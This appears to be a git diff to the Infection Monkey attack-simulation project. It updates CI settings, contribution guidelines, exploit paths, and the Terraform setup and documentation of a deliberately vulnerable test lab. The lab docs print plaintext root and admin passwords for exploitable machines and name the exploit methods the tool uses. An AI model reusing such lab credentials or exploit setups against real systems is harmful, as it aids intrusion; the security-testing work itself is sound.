diff --git a/.travis.yml b/.travis.yml
index 963c37fc6..b14482939 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -3,12 +3,6 @@ language: python
 cache: pip
 python:
     - 2.7
-    - 3.6
-matrix:
-    include:
-        - python: 3.7
-          dist: xenial    # required for Python 3.7 (travis-ci/travis-ci#9069)
-          sudo: required  # required for Python 3.7 (travis-ci/travis-ci#9069)
 install:
     #- pip install -r requirements.txt
     - pip install flake8  # pytest  # add another testing frameworks later
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 2744fac11..035eb0124 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -2,11 +2,13 @@
 
 Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
 
-Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
+Are you about to report a bug? Sorry to hear it. Here's our 
+[Issue tracker](https://github.com/guardicore/monkey/issues).
 Please try to be as specific as you can about your problem; try to include steps
 to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
 
-If you want to contribute new code or fix bugs..
+If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the 
+maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk). 
 
 
 ## Submitting code
@@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
 * **Don't** leave your pull request description blank.
 * **Do** license your code as GPLv3.
 
-Also, please submit PRs to the develop branch.
+Also, please submit PRs to the `develop` branch.
+
+#### Unit tests
+**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same 
+filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
+
+Please try to read some of the existing unit testing code, so you can see some examples.
+
+#### Branch naming scheme
+**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example, 
+`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
 
 ## Issues
 * **Do** write a detailed description of your bug and use a descriptive title.
diff --git a/README.md b/README.md
index 6ab6813ce..67b5b2e8b 100644
--- a/README.md
+++ b/README.md
@@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
 * Multiple exploit methods:
   * SSH
   * SMB
-  * RDP
   * WMI
   * Shellshock
   * Conficker
diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1
index 24a8d3322..07be64612 100644
--- a/deployment_scripts/config.ps1
+++ b/deployment_scripts/config.ps1
@@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
 # Other directories and paths ( most likely you dont need to configure)
 $MONKEY_ISLAND_DIR = "\monkey\monkey_island"
 $MONKEY_DIR = "\monkey\infection_monkey"
-$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
+$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
 $PYTHON_DLL = "C:\Windows\System32\python27.dll"
 $MK32_DLL = "mk32.dll"
 $MK64_DLL = "mk64.dll"
diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh
index 5ce29ac59..4df8ba114 100644
--- a/deployment_scripts/deploy_linux.sh
+++ b/deployment_scripts/deploy_linux.sh
@@ -129,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error
 # Build samba
 log_message "Building samba binaries"
 sudo apt-get install gcc-multilib
-cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
+cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
 sudo chmod +x ./build.sh || handle_error
 ./build.sh
 
diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf
index 8ffa668ef..d90d84ca4 100644
--- a/envs/monkey_zoo/configs/fullTest.conf
+++ b/envs/monkey_zoo/configs/fullTest.conf
@@ -62,7 +62,6 @@
       "exploiter_classes": [
         "SmbExploiter",
         "WmiExploiter",
-        "RdpExploiter",
         "ShellShockExploiter",
         "SambaCryExploiter",
         "ElasticGroovyExploiter",
@@ -79,9 +78,6 @@
       "remote_user_pass": "Password1!",
       "user_to_add": "Monkey_IUSER_SUPPORT"
     },
-    "rdp_grinder": {
-      "rdp_use_vbs_download": true
-    },
     "sambacry": {
       "sambacry_folder_paths_to_guess": [
         "/",
diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index 217a22b23..a8c0687fc 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -58,7 +58,7 @@ Requirements:
 To deploy:
 1.  Configure service account for your project:
 
-    a. Create a service account and name it “your\_name-monkeyZoo-user” 
+    a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user” 
     
     b. Give these permissions to your service account:
     
@@ -74,7 +74,7 @@ To deploy:
     
     **Project -> Owner**
     
-    c. Download its **Service account key**. Select JSON format.
+    c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
 2.  Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
 
     a.  **Compute Engine -\> Compute image user**
@@ -82,20 +82,30 @@ To deploy:
     ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to
     link to your service account key file):
 
-    > provider "google" {
-    > 
-    > project = "project-28054666"
-    > 
-    > region = "europe-west3"
-    > 
-    > zone = "europe-west3-b"
-    > 
-    > credentials = "${file("project-92050661-9dae6c5a02fc.json")}"
-    > 
-    > }
-    > 
-    > service\_account\_email="test@project-925243.iam.gserviceaccount.com"
-
+         provider "google" {
+         
+         project = "test-000000" // Change to your project id
+           
+           region  = "europe-west3" // Change to your desired region or leave default
+           
+           zone    = "europe-west3-b" // Change to your desired zone or leave default
+           
+           credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key. 
+                                                               // If you followed instruction above leave it as is
+         
+         }
+         
+         locals {
+         
+           resource_prefix = "" // All of the resources will have this prefix.
+                                // Only change if you want to have multiple zoo's in the same project
+           
+           service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
+           
+           monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
+         
+         }
+    
 4.  Run terraform init
 
 To deploy the network run:<br>
@@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines.
 </tbody>
 </table>
 
+<table>
+<thead>
+<tr class="header">
+<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>11</strong> Tunneling M3</p>
+<p>(10.2.0.11)</p></th>
+<th>(Exploitable)</th>
+</tr>
+</thead>
+<tbody>
+<tr class="odd">
+<td>OS:</td>
+<td><strong>Ubuntu 16.04.05 x64</strong></td>
+</tr>
+<tr class="even">
+<td>Software:</td>
+<td>OpenSSL</td>
+</tr>
+<tr class="odd">
+<td>Default service’s port:</td>
+<td>22</td>
+</tr>
+<tr class="even">
+<td>Root password:</td>
+<td>3Q=(Ge(+&w]*</td>
+</tr>
+<tr class="odd">
+<td>Server’s config:</td>
+<td>Default</td>
+</tr>
+<tr class="even">
+<td>Notes:</td>
+<td>Accessible only trough Nr.10</td>
+</tr>
+</tbody>
+</table>
+
 <table>
 <thead>
 <tr class="header">
@@ -606,20 +652,16 @@ fullTest.conf is a good config to start, because it covers all machines.
 <td>2}p}aR]&amp;=M</td>
 </tr>
 <tr class="odd">
-<td>Scan results:</td>
-<td>Machine exploited using RDP grinder</td>
-</tr>
-<tr class="even">
 <td>Server’s config:</td>
 <td><p>Remote desktop enabled</p>
 <p>Admin user’s credentials:</p>
 <p>m0nk3y, 2}p}aR]&amp;=M</p></td>
 </tr>
-<tr class="odd">
+<tr class="even">
 <td>Notes:</td>
 <td></td>
 </tr>
-<tr class="even">
+<tr class="odd">
 <td></td>
 <td></td>
 </tr>
@@ -649,7 +691,7 @@ fullTest.conf is a good config to start, because it covers all machines.
 </tr>
 <tr class="even">
 <td>Server’s config:</td>
-<td><p>Has cashed mimikatz-15 RDP credentials</p>
+<td><p>Has cached mimikatz-15 RDP credentials</p>
 <p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
 </tr>
 <tr class="odd">
diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf
index c6108865a..3a2bf0fc4 100644
--- a/envs/monkey_zoo/terraform/config.tf
+++ b/envs/monkey_zoo/terraform/config.tf
@@ -2,9 +2,10 @@ provider "google" {
   project = "test-000000"
   region  = "europe-west3"
   zone    = "europe-west3-b"
-  credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
+  credentials = "${file("../gcp_keys/gcp_key.json")}"
 }
 locals {
+  resource_prefix = ""
   service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
   monkeyzoo_project="guardicore-22050661"
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf
index df33ed4d4..b183a8d32 100644
--- a/envs/monkey_zoo/terraform/firewalls.tf
+++ b/envs/monkey_zoo/terraform/firewalls.tf
@@ -1,5 +1,5 @@
 resource "google_compute_firewall" "islands-in" {
-  name    = "islands-in"
+  name    = "${local.resource_prefix}islands-in"
   network = "${google_compute_network.monkeyzoo.name}"
 
   allow {
@@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" {
 }
 
 resource "google_compute_firewall" "islands-out" {
-  name    = "islands-out"
+  name    = "${local.resource_prefix}islands-out"
   network = "${google_compute_network.monkeyzoo.name}"
 
   allow {
@@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" {
 }
 
 resource "google_compute_firewall" "monkeyzoo-in" {
-  name    = "monkeyzoo-in"
+  name    = "${local.resource_prefix}monkeyzoo-in"
   network = "${google_compute_network.monkeyzoo.name}"
 
   allow {
@@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" {
 
   direction = "INGRESS"
   priority = "65534"
-  source_ranges = ["10.2.2.0/24"]
+  source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
 }
 
 resource "google_compute_firewall" "monkeyzoo-out" {
-  name    = "monkeyzoo-out"
+  name    = "${local.resource_prefix}monkeyzoo-out"
   network = "${google_compute_network.monkeyzoo.name}"
 
   allow {
@@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" {
 
   direction = "EGRESS"
   priority = "65534"
-  destination_ranges = ["10.2.2.0/24"]
+  destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
 }
 
 resource "google_compute_firewall" "tunneling-in" {
-  name    = "tunneling-in"
+  name    = "${local.resource_prefix}tunneling-in"
   network = "${google_compute_network.tunneling.name}"
 
   allow {
@@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" {
   }
 
   direction = "INGRESS"
-  source_ranges = ["10.2.1.0/28"]
+  source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
 }
 
 resource "google_compute_firewall" "tunneling-out" {
-  name    = "tunneling-out"
+  name    = "${local.resource_prefix}tunneling-out"
   network = "${google_compute_network.tunneling.name}"
 
   allow {
@@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" {
   }
 
   direction = "EGRESS"
-  destination_ranges = ["10.2.1.0/28"]
+  destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
+}
+resource "google_compute_firewall" "tunneling2-in" {
+  name    = "${local.resource_prefix}tunneling2-in"
+  network = "${google_compute_network.tunneling2.name}"
+
+  allow {
+    protocol = "all"
+  }
+
+  direction = "INGRESS"
+  source_ranges = ["10.2.1.0/27"]
+}
+
+resource "google_compute_firewall" "tunneling2-out" {
+  name    = "${local.resource_prefix}tunneling2-out"
+  network = "${google_compute_network.tunneling2.name}"
+
+  allow {
+    protocol = "all"
+  }
+
+  direction = "EGRESS"
+  destination_ranges = ["10.2.1.0/27"]
 }
diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf
index 4677d0c1b..dccbe16dd 100644
--- a/envs/monkey_zoo/terraform/images.tf
+++ b/envs/monkey_zoo/terraform/images.tf
@@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" {
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "tunneling-9" {
-  name = "tunneling-9-v2"
+  name = "tunneling-9"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "tunneling-10" {
-  name = "tunneling-10-v2"
+  name = "tunneling-10"
+  project = "${local.monkeyzoo_project}"
+}
+data "google_compute_image" "tunneling-11" {
+  name = "tunneling-11"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "sshkeys-11" {
-  name = "sshkeys-11-v2"
+  name = "sshkeys-11"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "sshkeys-12" {
-  name = "sshkeys-12-v2"
+  name = "sshkeys-12"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "mimikatz-14" {
-  name = "mimikatz-14-v2"
+  name = "mimikatz-14"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "mimikatz-15" {
@@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" {
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "weblogic-19" {
-  name = "weblogic-19-v2"
+  name = "weblogic-19"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "smb-20" {
@@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" {
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "struts2-24" {
-  name = "struts-24-v2"
+  name = "struts2-24"
   project = "${local.monkeyzoo_project}"
 }
 data "google_compute_image" "island-linux-250" {
@@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" {
 data "google_compute_image" "island-windows-251" {
   name = "island-windows-251"
   project = "${local.monkeyzoo_project}"
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf
index e0b97822f..cf45d93e0 100644
--- a/envs/monkey_zoo/terraform/monkey_zoo.tf
+++ b/envs/monkey_zoo/terraform/monkey_zoo.tf
@@ -6,29 +6,40 @@ locals {
 }
 
 resource "google_compute_network" "monkeyzoo" {
-  name                    = "monkeyzoo"
+  name = "${local.resource_prefix}monkeyzoo"
   auto_create_subnetworks = false
 }
 
 resource "google_compute_network" "tunneling" {
-  name                    = "tunneling"
+  name = "${local.resource_prefix}tunneling"
+  auto_create_subnetworks = false
+}
+
+resource "google_compute_network" "tunneling2" {
+  name = "${local.resource_prefix}tunneling2"
   auto_create_subnetworks = false
 }
 
 resource "google_compute_subnetwork" "monkeyzoo-main" {
-  name            = "monkeyzoo-main"
+  name = "${local.resource_prefix}monkeyzoo-main"
   ip_cidr_range   = "10.2.2.0/24"
   network         = "${google_compute_network.monkeyzoo.self_link}"
 }
 
 resource "google_compute_subnetwork" "tunneling-main" {
-  name            = "tunneling-main"
+  name = "${local.resource_prefix}tunneling-main"
   ip_cidr_range   = "10.2.1.0/28"
   network         = "${google_compute_network.tunneling.self_link}"
 }
 
+resource "google_compute_subnetwork" "tunneling2-main" {
+  name = "${local.resource_prefix}tunneling2-main"
+  ip_cidr_range   = "10.2.0.0/27"
+  network         = "${google_compute_network.tunneling2.self_link}"
+}
+
 resource "google_compute_instance_from_template" "hadoop-2" {
-  name         = "hadoop-2"
+  name = "${local.resource_prefix}hadoop-2"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.2"
   }
   // Add required ssh keys for hadoop service and restart it
@@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
 }
 
 resource "google_compute_instance_from_template" "hadoop-3" {
-  name         = "hadoop-3"
+  name = "${local.resource_prefix}hadoop-3"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.3"
   }
 }
 
 resource "google_compute_instance_from_template" "elastic-4" {
-  name         = "elastic-4"
+  name = "${local.resource_prefix}elastic-4"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.4"
   }
 }
 
 resource "google_compute_instance_from_template" "elastic-5" {
-  name         = "elastic-5"
+  name = "${local.resource_prefix}elastic-5"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.5"
   }
 }
 
 /* Couldn't find ubuntu packages for required samba version (too old).
 resource "google_compute_instance_from_template" "sambacry-6" {
-  name         = "sambacry-6"
+  name = "${local.resource_prefix}sambacry-6"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
     }
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.6"
   }
 }
@@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
 
 /* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
 resource "google_compute_instance_from_template" "sambacry-7" {
-  name         = "sambacry-7"
+  name = "${local.resource_prefix}sambacry-7"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk {
     initialize_params {
@@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" {
     }
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.7"
   }
 }
 */
 
 resource "google_compute_instance_from_template" "shellshock-8" {
-  name         = "shellshock-8"
+  name = "${local.resource_prefix}shellshock-8"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.8"
   }
 }
 
 resource "google_compute_instance_from_template" "tunneling-9" {
-  name         = "tunneling-9"
+  name = "${local.resource_prefix}tunneling-9"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" {
     auto_delete = true
   }
   network_interface{
-    subnetwork="tunneling-main"
+    subnetwork="${local.resource_prefix}tunneling-main"
     network_ip="10.2.1.9"
-    
   }
   network_interface{
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.9"
   }
 }
 
 resource "google_compute_instance_from_template" "tunneling-10" {
-  name         = "tunneling-10"
+  name = "${local.resource_prefix}tunneling-10"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" {
     auto_delete = true
   }
   network_interface{
-    subnetwork="tunneling-main"
+    subnetwork="${local.resource_prefix}tunneling-main"
     network_ip="10.2.1.10"
   }
+  network_interface{
+    subnetwork="${local.resource_prefix}tunneling2-main"
+    network_ip="10.2.0.10"
+  }
+}
+
+resource "google_compute_instance_from_template" "tunneling-11" {
+  name = "${local.resource_prefix}tunneling-11"
+  source_instance_template = "${local.default_ubuntu}"
+  boot_disk{
+    initialize_params {
+      image = "${data.google_compute_image.tunneling-11.self_link}"
+    }
+    auto_delete = true
+  }
+  network_interface{
+    subnetwork="${local.resource_prefix}tunneling2-main"
+    network_ip="10.2.0.11"
+  }
 }
 
 resource "google_compute_instance_from_template" "sshkeys-11" {
-  name         = "sshkeys-11"
+  name = "${local.resource_prefix}sshkeys-11"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.11"
   }
 }
 
 resource "google_compute_instance_from_template" "sshkeys-12" {
-  name         = "sshkeys-12"
+  name = "${local.resource_prefix}sshkeys-12"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.12"
   }
 }
 
 /*
 resource "google_compute_instance_from_template" "rdpgrinder-13" {
-  name         = "rdpgrinder-13"
+  name = "${local.resource_prefix}rdpgrinder-13"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
     }
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.13"
   }
 }
 */
 
 resource "google_compute_instance_from_template" "mimikatz-14" {
-  name         = "mimikatz-14"
+  name = "${local.resource_prefix}mimikatz-14"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.14"
   }
 }
 
 resource "google_compute_instance_from_template" "mimikatz-15" {
-  name         = "mimikatz-15"
+  name = "${local.resource_prefix}mimikatz-15"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.15"
   }
 }
 
 resource "google_compute_instance_from_template" "mssql-16" {
-  name         = "mssql-16"
+  name = "${local.resource_prefix}mssql-16"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.16"
   }
 }
 
 /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
 resource "google_compute_instance_from_template" "upgrader-17" {
-  name         = "upgrader-17"
+  name = "${local.resource_prefix}upgrader-17"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
     }
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.17"
     access_config {
       // Cheaper, non-premium routing
@@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
 */
 
 resource "google_compute_instance_from_template" "weblogic-18" {
-  name         = "weblogic-18"
+  name = "${local.resource_prefix}weblogic-18"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.18"
   }
 }
 
 resource "google_compute_instance_from_template" "weblogic-19" {
-  name         = "weblogic-19"
+  name = "${local.resource_prefix}weblogic-19"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.19"
   }
 }
 
 resource "google_compute_instance_from_template" "smb-20" {
-  name         = "smb-20"
+  name = "${local.resource_prefix}smb-20"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.20"
   }
 }
 
 resource "google_compute_instance_from_template" "scan-21" {
-  name         = "scan-21"
+  name = "${local.resource_prefix}scan-21"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.21"
   }
 }
 
 resource "google_compute_instance_from_template" "scan-22" {
-  name         = "scan-22"
+  name = "${local.resource_prefix}scan-22"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.22"
   }
 }
 
 resource "google_compute_instance_from_template" "struts2-23" {
-  name         = "struts2-23"
+  name = "${local.resource_prefix}struts2-23"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.23"
   }
 }
 
 resource "google_compute_instance_from_template" "struts2-24" {
-  name         = "struts2-24"
+  name = "${local.resource_prefix}struts2-24"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.24"
   }
 }
 
 resource "google_compute_instance_from_template" "island-linux-250" {
-  name         = "island-linux-250"
+  name = "${local.resource_prefix}island-linux-250"
   machine_type         = "n1-standard-2"
   tags = ["island", "linux", "ubuntu16"]
   source_instance_template = "${local.default_ubuntu}"
@@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.250"
     access_config {
       // Cheaper, non-premium routing (not available in some regions)
@@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
 }
 
 resource "google_compute_instance_from_template" "island-windows-251" {
-  name         = "island-windows-251"
+  name = "${local.resource_prefix}island-windows-251"
   machine_type         = "n1-standard-2"
   tags = ["island", "windows", "windowsserver2016"]
   source_instance_template = "${local.default_windows}"
@@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" {
     auto_delete = true
   }
   network_interface {
-    subnetwork="monkeyzoo-main"
+    subnetwork="${local.resource_prefix}monkeyzoo-main"
     network_ip="10.2.2.251"
     access_config {
       // Cheaper, non-premium routing (not available in some regions)
       // network_tier = "STANDARD"
     }
   }
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf
index ed48864d9..6ae6dafdc 100644
--- a/envs/monkey_zoo/terraform/templates.tf
+++ b/envs/monkey_zoo/terraform/templates.tf
@@ -1,5 +1,5 @@
 resource "google_compute_instance_template" "ubuntu16" {
-  name        = "ubuntu16"
+  name        = "${local.resource_prefix}ubuntu16"
   description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
 
   tags = ["test-machine", "ubuntu16", "linux"]
@@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" {
 }
 
 resource "google_compute_instance_template" "windows2016" {
-  name        = "windows2016"
+  name        = "${local.resource_prefix}windows2016"
   description = "Creates windows 2016 core servers at europe-west3-a."
 
   tags = ["test-machine", "windowsserver2016", "windows"]
@@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" {
     email="${local.service_account_email}"
     scopes=["cloud-platform"]
   }
-}
\ No newline at end of file
+}
